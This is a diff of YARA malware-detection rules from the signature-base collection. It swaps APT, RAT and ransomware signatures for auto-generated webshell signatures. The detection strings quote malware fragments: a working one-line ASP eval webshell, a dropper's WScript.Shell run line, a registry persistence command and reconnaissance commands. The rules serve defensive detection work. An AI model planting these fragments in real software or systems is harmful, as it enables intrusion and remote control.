-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_xtreme_rat.yar#L71-L86"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9cfd6473e7f8d1f899fe2cdbb49a4086ea7ac6151602d0964ed28b16d2d0188d"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8680-L8691"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "22194f8c44524f80254e1b5aec67b03e"
+		logic_hash = "a7766caae5845ce43cff2212c25fea9a78979d10c79d8c40290b5c1471b101cd"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "7b5082bcc8487bb65c38e34c192c2a891e7bb86ba97281352b0837debee6f1cf"
+
+	strings:
+		$s4 = "entrika.write \"BinaryStream.SaveToFile"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <300KB and (pe.imphash()=="d0bdf112886f3d846cc7780967d8efb9" or pe.imphash()=="cc6f630f214cf890e63e899d8ebabba6" or pe.imphash()=="e0f7991d50ceee521d7190effa3c494e")
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EXT_APT32_Goopdate_Installer
+rule SIGNATURE_BASE_C99Shell
 {
 	meta:
-		description = "Detects APT32 installer side-loaded with goopdate.dll"
-		author = "Facebook"
-		id = "08f3cbda-ccb7-517a-b205-5f71de26c735"
+		description = "Webshells Auto-generated - file c99shell.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt32.yar#L3-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "69730f2c2bb9668a17f8dfa1f1523e0e1e997ba98f027ce98f5cbaa869347383"
-		logic_hash = "1dcb3009c5c19ff4e54d82d3a4b99b3431e78664f1660522a781e815d96958c4"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8692-L8703"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "90b86a9c63e2cd346fe07cea23fbfc56"
+		logic_hash = "a0fcc43a80ac4d059aea36da8b4b5a81c99a54f7c66c521697805ae890d66fe8"
 		score = 75
 		quality = 85
 		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = { 68 ?? ?? ?? ?? 57 A3 ?? ?? ?? ?? FF D6 33 05 ?? ?? ?? ?? }
-		$s1 = "GetProcAddress"
-		$s2 = { 8B 4D FC ?? ?? 0F B6 51 0C ?? ?? 8B 4D F0 0F B6 1C 01 33 DA }
-		$s3 = "FindNextFileW"
-		$s4 = "Process32NextW"
+		$s0 = "<br />Input&nbsp;URL:&nbsp;&lt;input&nbsp;name=\\\"uploadurl\\\"&nbsp;type=\\\"text\\\"&"
 
 	condition:
-		(pe.is_64bit() or pe.is_32bit()) and all of them
+		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EXT_APT32_Osx_Backdoor_Loader : FILE
+rule SIGNATURE_BASE_Phpspy_2005_Full
 {
 	meta:
-		description = "Detects APT32 backdoor loader on OSX"
-		author = "Facebook"
-		id = "ac313bd8-bf15-5b72-b651-35015f71dd90"
+		description = "Webshells Auto-generated - file phpspy_2005_full.php"
+		author = "Florian Roth (Nextron Systems)"
+		id = "41a0560a-b22e-5028-8ad1-710c5758cb1d"
 		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://about.fb.com/news/2020/12/taking-action-against-hackers-in-bangladesh-and-vietnam/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_apt32.yar#L22-L49"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "768510fa9eb807bba9c3dcb3c7f87b771e20fa3d81247539e9ea4349205e39eb"
-		logic_hash = "26964f95a9298b838e06fb9d7f739c8b87a976d8da7fb08416e952d26e84b84e"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8704-L8715"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "d1c69bb152645438440e6c903bac16b2"
+		logic_hash = "8561161726a49374a9bc3389fef593e5d68dc437552e06736a235412183bef45"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a1 = { 00 D2 44 8A 04 0F 44 88 C0 C0 E8 07 08 D0 88 44 0F FF 48 FF C1 48 83 F9 10 44 88 C2 }
-		$a2 = { 41 0F 10 04 07 0F 57 84 05 A0 FE FF FF 41 0F 11 04 07 48 83 C0 10 48 83 F8 10 75 }
-		$e1 = { CA CF 3E F2 DA 43 E6 D1  D5 6C D4 23 3A AE F1 B2 }
-		$e2 = "MlkHVdRbOkra9s+G65MAoLga340t3+zj/u8LPfP3hig="
-		$e3 = { 5A 69 98 0E 6C 4B 5C 69  7E 19 34 3B C3 07 CA 13 }
-		$e4 = "1Sib4HfPuRQjpxIpECnxxTPiu3FXOFAHMx/+9MEVv9M+h1ngV7T5WUP3b0zsg0Qd"
-		$e5 = "_ArchaeologistCodeine"
-		$e6 = "_PlayerAberadurtheIncomprehensible"
+		$s7 = "echo \"  <td align=\\\"center\\\" nowrap valign=\\\"top\\\"><a href=\\\"?downfile=\".urlenco"
 
 	condition:
-		(( uint32(0)==0xfeedface or uint32be(0)==0xfeedface) or ( uint32(0)==0xfeedfacf or uint32be(0)==0xfeedfacf)) and (2 of ($e*) or all of ($a*))
+		all of them
 }
-rule SIGNATURE_BASE_Ghostdragon_Gh0Strat : FILE
+rule SIGNATURE_BASE_FSO_S_Zehir4_2
 {
 	meta:
-		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		description = "Webshells Auto-generated - file zehir4.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a74330ab-5249-5125-8f48-27aec7c6eeb4"
-		date = "2016-04-23"
+		id = "7de89d22-0230-508a-ac50-f61730ad9f4e"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/the-ghost-dragon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ghostdragon_gh0st_rat.yar#L8-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "b67c7ff76c14e771c4e952a408c2c006c9ae88fda97b775747a95322aff355e7"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8716-L8727"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "5b496a61363d304532bcf52ee21f5d55"
+		logic_hash = "bb10f2e28bb375366b9140c06bb242cd13fdb69e67ce72ecae0e50270566f116"
 		score = 75
-		quality = 83
-		tags = "FILE"
+		quality = 85
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f9a669d22866cd041e2d520c5eb093188962bea8864fdfd0c0abb2b254e9f197"
-		hash2 = "99ee5b764a5db1cb6b8a4f62605b5536487d9c35a28a23de8f9174659f65bcb2"
-		hash3 = "6c7f8ba75889e0021c4616fcbee86ac06cd7f5e1e355e0cbfbbb5110c08bb6df"
-		hash4 = "b803381535ac24ce7c8fdcf6155566d208dfca63fd66ec71bbc6754233e251f5"
 
 	strings:
-		$x1 = "REG ADD HKEY_LOCAL_MACHINE\\%s /v ServiceDll /t REG_EXPAND_SZ /d \"%s\"" fullword ascii
-		$x2 = "Global\\REALCHEL_GLOBAL_SUBMIT_20031020_" ascii
-		$x3 = "\\xclolg2.tmp" ascii
-		$x4 = "Http/1.1 403 Forbidden" fullword ascii
-		$x5 = "%sxsd%d.pif" fullword ascii
-		$x6 = "%s\\%s32.dl_" ascii
-		$x7 = "%-23s %-16s  0x%x(%02d)" fullword ascii
-		$x8 = "RegSetValueEx(start)" fullword ascii
-		$x9 = "%s\\%s64.dl_" ascii
-		$s1 = "viewsc.dll" fullword ascii
-		$s2 = "Proxy-Connection:   Keep-Alive" fullword ascii
-		$s3 = "\\sfc_os.dll" ascii
-		$s4 = "Mozilla/4.0 (compatible)" fullword ascii
-		$s5 = "Http/1.1 403 Forbidden" fullword ascii
-		$s6 = "CONNECT   %s:%d   HTTP/1.1" fullword ascii
-		$s7 = "WindowsUpperVersion" fullword ascii
-		$s8 = "[%d-%d-%d %d:%d:%d] (%s)" fullword ascii
-		$s9 = "SOFTWARE\\Microsoft\\DataAccess\\%s" fullword ascii
-		$s10 = "%s sp%d(%d)" fullword ascii
-		$s11 = "OpenSC ERROR " fullword ascii
-		$s12 = "get rgspath error " fullword ascii
-		$s13 = "Global\\GLOBAL_SUBMIT_0234_" ascii
-		$s14 = "Global\\_vc_ck_ %d" fullword ascii
+		$s4 = "\"Program Files\\Serv-u\\Serv"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <500KB and (1 of ($x*) or 4 of ($s*))) or (6 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Ghostdragon_Gh0Strat_Sample2 : FILE
+rule SIGNATURE_BASE_FSO_S_Indexer_2
 {
 	meta:
-		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		description = "Webshells Auto-generated - file indexer.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "424cb978-c4d1-5847-8852-e25ec2a02139"
-		date = "2016-04-23"
+		id = "8ef79a60-fa8c-51ee-bd87-f5467a66099b"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/the-ghost-dragon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ghostdragon_gh0st_rat.yar#L54-L75"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f41776a033be766844c9867902d2ef9b79bf59bdf212f0158eccf79db0810460"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8728-L8739"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "135fc50f85228691b401848caef3be9e"
+		logic_hash = "8cf4c8fb1e985adbed2cf20578fcfc14240f6d9fe6062bbe3fe2f895f58bc172"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "71a52058f6b5cef66302c19169f67cf304507b4454cca83e2c36151da8da1d97"
 
 	strings:
-		$x1 = "AdobeWpk" fullword ascii
-		$x2 = "seekin.dll" fullword ascii
-		$c1 = "Windows NT 6.1; Trident/6.0)" fullword ascii
-		$c2 = "Mozilla/5.0 (compatible; MSIE 10.0; " fullword ascii
+		$s5 = "<td>Nerden :<td><input type=\"text\" name=\"nerden\" size=25 value=index.html></td>"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <80KB and ( all of ($x*) or all of ($c*))) or ( all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Ghostdragon_Gh0Strat_Sample3
+rule SIGNATURE_BASE_Hytop_Devpack_2005
 {
 	meta:
-		description = "Detects Gh0st RAT mentioned in Cylance' Ghost Dragon Report"
+		description = "Webshells Auto-generated - file 2005.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6d4bb99d-28de-59c2-b6f0-6da3cac4ed73"
-		date = "2016-04-23"
+		id = "963effd9-f31d-5238-9419-b5dd11822e56"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://blog.cylance.com/the-ghost-dragon"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ghostdragon_gh0st_rat.yar#L77-L92"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "39ddb94ac14032f88e54e413ed650277e95f6dcf66219fcf43a01aff1f10a058"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8740-L8753"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "63d9fd24fa4d22a41fc5522fc7050f9f"
+		logic_hash = "b312cddff4c5292cc51acc39448c815fede3c9356d7d225c3a08c7124712b3f8"
 		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "1be9c68b31247357328596a388010c9cfffadcb6e9841fb22de8b0dc2d161c42"
 
 	strings:
-		$op1 = { 44 24 15 65 88 54 24 16 c6 44 24 }
-		$op2 = { 44 24 1b 43 c6 44 24 1c 75 88 54 24 1e }
-		$op3 = { 1e 79 c6 44 24 1f 43 c6 44 24 20 75 88 54 24 22 }
+		$s7 = "theHref=encodeForUrl(mid(replace(lcase(list.path),lcase(server.mapPath(\"/\")),\"\")"
+		$s8 = "scrollbar-darkshadow-color:#9C9CD3;"
+		$s9 = "scrollbar-face-color:#E4E4F3;"
 
 	condition:
 		all of them
 }
-rule SIGNATURE_BASE_Goldeneye_Ransomware_XLS : FILE
+rule SIGNATURE_BASE__Root_040_Zip_Folder_Deploy
 {
 	meta:
-		description = "GoldenEye XLS with Macro - file Schneider-Bewerbung.xls"
+		description = "Webshells Auto-generated - file deploy.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6eafcc35-56ef-534f-884a-0bb47c27c274"
-		date = "2016-12-06"
+		id = "7e592ab2-8a53-59d5-a45d-971398586479"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/jp2SkT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_goldeneye.yar#L10-L24"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "827c1d1c0f9c3ebd77413de7e1db5e29d05f2ece6676c79a79f6c1ff2788f42b"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8754-L8767"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2c9f9c58999256c73a5ebdb10a9be269"
+		logic_hash = "9852b105e6a28f5500fc6739b196dd14b9b0b69b1077be4063735380b0699abb"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "2320d4232ee80cc90bacd768ba52374a21d0773c39895b88cdcaa7782e16c441"
 
 	strings:
-		$x1 = "fso.GetTempName();tmp_path = tmp_path.replace('.tmp', '.exe')" fullword ascii
-		$x2 = "var shell = new ActiveXObject('WScript.Shell');shell.run(t'" fullword ascii
+		$s5 = "halon synscan 127.0.0.1 1-65536"
+		$s8 = "Obviously you replace the ip address with that of the target."
 
 	condition:
-		( uint16(0)==0xcfd0 and filesize <4000KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Goldeneyeransomware_Dropper_Malformedzoomit : FILE
+rule SIGNATURE_BASE_By063Cli
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Webshells Auto-generated - file by063cli.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "6ebf2d13-7d58-5a1b-a836-66d533f408e8"
-		date = "2016-12-06"
+		id = "9b4a4842-e084-53e8-90fb-603ba034b7df"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://goo.gl/jp2SkT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_goldeneye.yar#L26-L40"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c18405a272c9210973e3184b8267306919cba8795b12d5982a9e3e8f748f9782"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8768-L8780"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "49ce26eb97fd13b6d92a5e5d169db859"
+		logic_hash = "c89159b73232bc8fd7430b3330009f4b3eb25b9511515bc9b4cd433f7a67f30e"
 		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "b5ef16922e2c76b09edd71471dd837e89811c5e658406a8495c1364d0d9dc690"
 
 	strings:
-		$s1 = "ZoomIt - Sysinternals: www.sysinternals.com" fullword ascii
-		$n1 = "Mark Russinovich" wide
+		$s2 = "#popmsghello,are you all right?"
+		$s4 = "connect failed,check your network and remote ip."
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and $s1 and not $n1)
+		all of them
 }
-rule SIGNATURE_BASE_Casper_Backdoor_X86 : FILE
+rule SIGNATURE_BASE_Icyfox007V1_10_Rar_Folder_Asp
 {
 	meta:
-		description = "Casper French Espionage Malware - Win32/ProxyBot.B - x86 Payload http://goo.gl/VRJNLo"
+		description = "Webshells Auto-generated - file asp.asp"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9e54f00c-74a7-56cc-87e5-8dec1233cbb5"
-		date = "2015-03-05"
-		modified = "2023-01-27"
-		reference = "http://goo.gl/VRJNLo"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_casper.yar#L4-L35"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f4c39eddef1c7d99283c7303c1835e99d8e498b0"
-		logic_hash = "027457a3d86c0a7924fd6eb09c4a753cc846ba45f0b04257d9eec396bbc27f75"
-		score = 80
+		id = "52150b6a-2f60-5e6b-86d1-61bc0aeb4fa8"
+		date = "2023-12-05"
+		modified = "2023-12-05"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8781-L8792"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "2c412400b146b7b98d6e7755f7159bb9"
+		logic_hash = "3cc36668f0a2a6807b59c7da0b6e504b519a616ab63fb9f606eba5dc4a9e7e2f"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "\"svchost.exe\"" fullword wide
-		$s2 = "firefox.exe" fullword ascii
-		$s3 = "\"Host Process for Windows Services\"" fullword wide
-		$x1 = "\\Users\\*" ascii
-		$x2 = "\\Roaming\\Mozilla\\Firefox\\Profiles\\*" ascii
-		$x3 = "\\Mozilla\\Firefox\\Profiles\\*" ascii
-		$x4 = "\\Documents and Settings\\*" ascii
-		$y1 = "%s; %S=%S" fullword wide
-		$y2 = "%s; %s=%s" fullword ascii
-		$y3 = "Cookie: %s=%s" fullword ascii
-		$y4 = "http://%S:%d" fullword wide
-		$z1 = "http://google.com/" ascii
-		$z2 = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MALC)" fullword ascii
-		$z3 = "Operating System\"" fullword wide
+		$s0 = "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('#')+'')</SCRIPT>"
 
 	condition:
-		( filesize <250KB and all of ($s*)) or (3 of ($x*) and 2 of ($y*) and 2 of ($z*))
+		all of them
 }
-rule SIGNATURE_BASE_Casper_EXE_Dropper
+rule SIGNATURE_BASE_Byshell063_Ntboot_2
 {
 	meta:
-		description = "Casper French Espionage Malware - Win32/ProxyBot.B - Dropper http://goo.gl/VRJNLo"
+		description = "Webshells Auto-generated - file ntboot.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "a901d045-6f9b-57e8-8347-6f78178b7231"
-		date = "2015-03-05"
+		id = "9bcb401d-619b-54b8-be51-f0e3b6eb096c"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/VRJNLo"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_casper.yar#L37-L58"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e4cc35792a48123e71a2c7b6aa904006343a157a"
-		logic_hash = "8ffba5598078fdadf2d9e8ee7fe0fef8b3b89517490a379d46cab33cd0036d6e"
-		score = 80
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8794-L8805"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "cb9eb5a6ff327f4d6c46aacbbe9dda9d"
+		logic_hash = "25df29000bb410c0ba1fec78920124f6eedbc2585541536239522d2b116270ab"
+		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<Command>" fullword ascii
-		$s1 = "</Command>" fullword ascii
-		$s2 = "\" /d \"" fullword ascii
-		$s4 = "'%s' %s" fullword ascii
-		$s5 = "nKERNEL32.DLL" fullword wide
-		$s6 = "@ReturnValue" fullword wide
-		$s7 = "ID: 0x%x" fullword ascii
-		$s8 = "Name: %S" fullword ascii
+		$s6 = "OK,job was done,cuz we have localsystem & SE_DEBUG_NAME:)"
 
 	condition:
-		7 of them
+		all of them
 }
-rule SIGNATURE_BASE_Casper_Included_Strings : FILE
+rule SIGNATURE_BASE_U_Uay
 {
 	meta:
-		description = "Casper French Espionage Malware - String Match in File - http://goo.gl/VRJNLo"
+		description = "Webshells Auto-generated - file uay.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "34ba474d-0858-534a-8f32-db5a709e8814"
-		date = "2015-03-06"
+		id = "6a670e19-6e53-5b13-aabf-fe74d48b9113"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/VRJNLo"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_casper.yar#L60-L83"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "8796f45e459747db6bc08f362db7b152242f9f5bda3b72ddfc739cc9dcdfc55f"
-		score = 50
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8806-L8818"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "abbc7b31a24475e4c5d82fc4c2b8c7c4"
+		logic_hash = "45e8938ce34fd5a253cee3867aa8c4429c6bf3fcc91098ed9df3f95656bc5f8f"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a0 = "cmd.exe /C FOR /L %%i IN (1,1,%d) DO IF EXIST"
-		$a1 = "& SYSTEMINFO) ELSE EXIT"
-		$c1 = "domcommon.exe" wide fullword
-		$c2 = "jpic.gov.sy" fullword
-		$c3 = "aiomgr.exe" wide fullword
-		$c4 = "perfaudio.dat" fullword
-		$c5 = "Casper_DLL.dll" fullword
-		$c6 = { 7B 4B 59 DE 37 4A 42 26 59 98 63 C6 2D 0F 57 40 }
-		$c7 = "{4216567A-4512-9825-7745F856}" fullword
+		$s1 = "exec \"c:\\WINDOWS\\System32\\freecell.exe"
+		$s9 = "SYSTEM\\CurrentControlSet\\Services\\uay.sys\\Security"
 
 	condition:
-		all of ($a*) or uint16(0)==0x5a4d and (1 of ($c*))
+		1 of them
 }
-rule SIGNATURE_BASE_Casper_Systeminformation_Output
+rule SIGNATURE_BASE_Bin_Wuaus
 {
 	meta:
-		description = "Casper French Espionage Malware - System Info Output - http://goo.gl/VRJNLo"
+		description = "Webshells Auto-generated - file wuaus.dll"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aaae200c-7ef1-52eb-be5b-36e0ad29ecef"
-		date = "2015-03-06"
+		id = "50b5323b-d8d1-5350-bf93-8dde3d11fd87"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://goo.gl/VRJNLo"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_casper.yar#L85-L104"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "83c6216bc3e7fadfe81b9bbaca7b14e3398e972f8298c99a8eb576a40e4b4e1b"
-		score = 70
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L8819-L8835"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "46a365992bec7377b48a2263c49e4e7d"
+		logic_hash = "0509ca39662430c3ababf65ca3a6e9af95250163980829d90eddf5341168c864"
+		score = 75
 		quality = 85
 		tags = ""
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$a0 = "***** SYSTEM INFORMATION ******"
-		$a1 = "***** SECURITY INFORMATION ******"
-		$a2 = "Antivirus: "
-		$a3 = "Firewall: "
-		$a4 = "***** EXECUTION CONTEXT ******"
-		$a5 = "Identity: "
-		$a6 = "<CONFIG TIMESTAMP="
+		$s1 = "9(90989@9V9^9f9n9v9"
+		$s2 = ":(:,:0:4:8:C:H:N:T:Y:_:e:o:y:"
+		$s3 = ";(=@=G=O=T=X=\\="
+		$s4 = "TCP Send Error!!"
+		$s5 = "1\"1;1X1^1e1m1w1~1"
+		$s8 = "=$=)=/=<=Y=_=j=p=z="
 
 	condition:
 		all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Noclient_3_0_5 : FILE
+rule SIGNATURE_BASE_Pwreveal
 {
 	meta:
-		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
+		description = "Webshells Auto-generated - file pwreveal.exe"
 		author = "Florian Roth (Nextron Systems)"
-		id = "af7472ce-0605-5f50-8180-23438d2196b8"
-		date = "2016-08-15"
+		id = "3d79dd13-9012-56e2-b42a-e6b3e204c601"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L12-L29"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "51a6bf03c8d034942bf02fae2bea52436f53b4d437006b1dbe9c0c67387fe17a"
+		reference = "https://github.com/Neo23x0/signature-base"
